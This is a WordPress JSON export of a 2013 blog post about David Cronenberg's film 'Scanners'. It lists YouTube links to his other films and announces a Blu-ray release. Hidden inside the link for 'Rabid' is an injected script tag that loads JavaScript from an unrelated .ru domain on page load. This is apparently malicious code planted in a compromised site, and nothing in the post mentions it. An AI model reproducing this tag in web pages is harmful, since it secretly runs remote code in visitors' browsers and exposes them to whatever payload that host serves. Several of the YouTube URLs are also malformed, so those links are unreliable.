{"id":6359,"date":"2013-03-01T16:31:37","date_gmt":"2013-03-01T22:31:37","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=6359"},"modified":"2013-03-01T16:31:37","modified_gmt":"2013-03-01T22:31:37","slug":"1981-scanners","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=6359","title":{"rendered":"1981 Scanners"},"content":{"rendered":"<p>David Cronenberg has been writing, directing, producing, editing, \u00a0along with other jobs since the sixties and still continues to write and direct.\u00a0 \u201cScanners\u201d is still high on my\u00a0list of 80\u2019s movies.\u00a0 We already know the storyline, but here it is. \u201cScanners\u201d is about a scientist that sends a man with extraordinary psychic powers to hunt others like him.<\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?%5bv=PmJC3ZaXBEc%5d\">http:\/\/www.youtube.com\/watch?[v=PmJC3ZaXBEc]<\/a><\/p>\n<p>In addition to \u201cScanners\u201d during the late 70\u2019s and 80\u2019s, David brought us several other classics.<\/p>\n<p>&nbsp;<\/p>\n<p>They Came from Within &#8211; 1975<\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?%5bv=XC-wkbUL814%5d%20%0d\">http:\/\/www.youtube.com\/watch?[v=XC-wkbUL814] <\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Rabid &#8211; 1977<\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?%5bv=aUNQmTiiLs8%5d\">http:\/\/www.youtube.com\/watch?[v=aUNQmTiiLs8]<script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>The Brood &#8211; 1979<\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?%5bv=0tGwzi-mLfU%5d%20%20%0d\">http:\/\/www.youtube.com\/watch?[v=0tGwzi-mLfU] \u00a0<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Videodrome &#8211; 1983<\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?%5bv=M6AXQeCE9Rw%5d\">http:\/\/www.youtube.com\/watch?[v=M6AXQeCE9Rw]<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>The Dead Zone &#8211; 1983<\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?%5bv=lmC5oPc7L3M%5d%20%0d\">http:\/\/www.youtube.com\/watch?[v=lmC5oPc7L3M] <\/a><\/p>\n<p>&nbsp;<\/p>\n<p>The Fly &#8211; 1986<\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?%5bv=F7xoyu08xNE%5d%20%0d\">http:\/\/www.youtube.com\/watch?[v=F7xoyu08xNE] <\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Why bring up Scanners now, because awhile back Second Sight Films announced that Scanners Limited Edition Blu-Ray Steelbook would be available the end of 2012 or early 2013.\u00a0 This February they announced on their Facebook page that they needed a couple extra weeks to finalize things and now the official date will be April 8<sup>th<\/sup>, 2013.\u00a0 For more information visit Second Sight Films website and Facebook page.<\/p>\n<p><a href=\"http:\/\/secondsightfilms.co.uk\/\">http:\/\/secondsightfilms.co.uk\/<\/a><\/p>\n<p><a href=\"http:\/\/www.facebook.com\/SecondSightFilms\">http:\/\/www.facebook.com\/SecondSightFilms<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Finally, check out this 1981 David Cronenberg interview with Fantastic Films that is on David\u2019s website:<\/p>\n<p><a href=\"http:\/\/www.davidcronenberg.de\/fantastic1981.html\">http:\/\/www.davidcronenberg.de\/fantastic1981.html<\/a><\/p>\n<p><em>If you have some thoughts to share about this article or you&#8217;d like to discuss B movies with other B movie fans and filmmakers please visit our <a href=\"http:\/\/www.facebook.com\/groups\/bmovienation\/\" target=\"_blank\">B Movie Nation Facebook group<\/a>.<\/em><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>David Cronenberg has been writing, directing, producing, editing, \u00a0along with other jobs since the sixties and still continues to write and direct.\u00a0 \u201cScanners\u201d is still high on my\u00a0list of 80\u2019s movies.\u00a0 We already know the storyline, but here it is. \u201cScanners\u201d is about a scientist that sends a man with extraordinary psychic powers to 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